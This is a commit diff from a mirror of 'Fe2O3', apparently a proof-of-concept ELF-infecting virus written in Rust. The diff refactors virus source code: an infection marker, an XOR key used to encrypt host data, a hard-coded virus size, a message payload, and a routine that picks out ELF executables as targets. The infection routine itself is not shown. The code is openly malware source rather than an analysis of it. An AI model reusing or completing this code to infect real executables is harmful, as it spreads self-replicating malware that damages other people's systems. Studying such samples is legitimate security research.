7
2
mirror of https://github.com/guitmz/Fe2O3 synced 2024-06-29 18:20:52 +00:00

testing fs::read and removing unecessary extra allocation in xor_enc_dec fn

This commit is contained in:
Guilherme Thomazi Bonicontro 2019-09-06 17:09:06 +02:00
parent a0130e84ed
commit 1c108c66a5

@ -9,7 +9,7 @@ use std::{env, fs, process};
const ELF_MAGIC: &[u8; 4] = &[0x7f, 0x45, 0x4c, 0x46]; // b"\x7FELF" const ELF_MAGIC: &[u8; 4] = &[0x7f, 0x45, 0x4c, 0x46]; // b"\x7FELF"
const INFECTION_MARK: &[u8; 5] = &[0x40, 0x54, 0x4d, 0x5a, 0x40]; // @TMZ@ const INFECTION_MARK: &[u8; 5] = &[0x40, 0x54, 0x4d, 0x5a, 0x40]; // @TMZ@
const XOR_KEY: &[u8; 5] = &[0x46, 0x65, 0x32, 0x4f, 0x33]; // Fe2O3 const XOR_KEY: &[u8; 5] = &[0x46, 0x65, 0x32, 0x4f, 0x33]; // Fe2O3
const VIRUS_SIZE: u64 = 2696040; const VIRUS_SIZE: u64 = 2696496;
fn payload() { fn payload() {
println!("Rusting is a chemical reaction of iron in the presence of oxygen. println!("Rusting is a chemical reaction of iron in the presence of oxygen.
@ -23,18 +23,15 @@ fn get_file_size(path: &OsStr) -> u64 {
} }
fn read_file(path: &OsStr) -> Vec<u8> { fn read_file(path: &OsStr) -> Vec<u8> {
let mut buf = Vec::new(); let buf = fs::read(path).unwrap();
let mut f = File::open(path).unwrap();
f.read_to_end(&mut buf).unwrap();
return buf; return buf;
} }
fn xor_enc_dec(input: Vec<u8>) -> Vec<u8> { fn xor_enc_dec(mut input: Vec<u8>) -> Vec<u8> {
let mut output = vec![0; input.len()];
for x in 0..input.len() { for x in 0..input.len() {
output[x] = input[x] ^ XOR_KEY[x % XOR_KEY.len()]; input[x] = input[x] ^ XOR_KEY[x % XOR_KEY.len()];
} }
return output; return input;
} }
fn is_elf(path: &OsStr) -> bool { fn is_elf(path: &OsStr) -> bool {
@ -42,8 +39,10 @@ fn is_elf(path: &OsStr) -> bool {
let mut f = File::open(path).unwrap(); let mut f = File::open(path).unwrap();
f.read(&mut ident).unwrap(); f.read(&mut ident).unwrap();
if &ident == ELF_MAGIC { // this will work for PIE executables as well if &ident == ELF_MAGIC {
return true; // but can fail for shared libraries during execution // this will work for PIE executables as well
// but can fail for shared libraries during execution
return true;
} }
return false; return false;
} }